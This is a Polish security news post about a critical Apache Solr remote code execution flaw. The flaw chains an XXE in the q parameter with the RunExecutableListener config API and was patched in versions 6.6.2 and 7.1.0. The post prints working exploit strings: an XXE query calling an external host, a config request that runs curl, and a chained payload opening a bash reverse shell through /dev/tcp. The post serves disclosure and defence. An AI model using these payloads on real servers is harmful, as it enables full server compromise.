Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Apache Solr – prosta możliwość wykonania dowolnego kodu OS na serwerze
Nieco w panice ostatnio łatano krytyczną podatność (czy serię podatności) w znanym produkcie Apache Solr. Kto używa Solr-a? Prawie wszyscy ;-) Netflix, E-bay, MTV, Cisco, Apple, Disney – to tylko kilka przykładów z brzegu.
Wracając do konkretów, kontrolując parametr q (służący do wyszukiwania odpowiedniej treści) można wykonać dowolny kod na serwerze, na którym pracuje Solr:
(…) an external attacker can achieve remote code execution even without direct access to the Solr server. The only requirement is that the attacker should be able to specify a part of query that comes to „q” search parameter (which is a case for many web applications who use solr).
Poza samym Solr, poprawkę wydał choćby RedHat (10/10 w skali CVSSv2). Dla spragnionych szczegółów, pokazał się właśnie szczegółowy opis podatności.
Finalny exploit wykorzystuje dwie podatności:
1. XXE, opisywaną przez nas już dwa razy.
Np. takim, niewinnym wyszukiwaniem (parametr q):
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://xxx.s.artsploit.com/xxx"'><a></a>'}
możemy wykonywać request do lokalnej instancji Solr (tzw. SSRF); z innych problemów – można również czytać pliki z serwera, na którym działa podatna platforma.
2. API (dostępne tylko lokalnie – z maszyny gdzie działa Solr), umożliwia wykonanie kodu na serwerze. Z pewnym uproszczeniem w ten sposób można np. uruchomić curl-a z odpowiednimi parametrami:
POST /solr/newcollection/config HTTP/1.1 Host: localhost:8983 Connection: close Content-Type: application/json Content-Length: 198 { "add-listener" : { "event":"postCommit", "name":"newlistener", "class":"solr.RunExecutableListener", "exe":"curl", "dir":"/usr/bin/", "args":["http://localhost:4444/executed"] } }
Finalny exploit to połączenie dwóch powyższych błędów. Czyli przez dostępne zdalnie XXE robimy request do lokalnego serwera wykorzystując podatność numer 2.
Uważni czytelnicy w tym momencie stwierdzą, że przecież za pomocą XXE nie da się wykonać requestów typu POST (a taki jest potrzebny do RCE). No więc generalnie prawda – normalnie się nie da, ale w tym przypadku można to jednak zrobić:
As you may notice, in order to update the config we need to send a POST request to the application. But by using XXE vulnerability we can only send HTTP GET requests.
There is a special trick is used here: If Solr receives „/select?q=123&qt=/xxx&shards=localhost:8983/” GET request, it actually converts it to POST and redirects this request to the shard specified in „shards” parameter. Which is also cool, it overwrites url query by the „qt” parameter, so we can convert it from „/select” to „/config”.
The result HTTP request that is landed to localhost:8983/ will be POST request with stream.body=”our_value”. That is exactly what we need in terms of exploitation.
Jeden z finalnych kroków wygląda tak (kontrolujemy parametr q):
http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/select?q=xxx&qt=/solr/newcollection/config?stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/127.0.0.1/1234","0>&1"]}}&shards=localhost:8983/"><a></a>'}
Podatności załatano w wersjach 6.6.2 oraz 7.1.0 projektu Solr.
–Michał Sajdak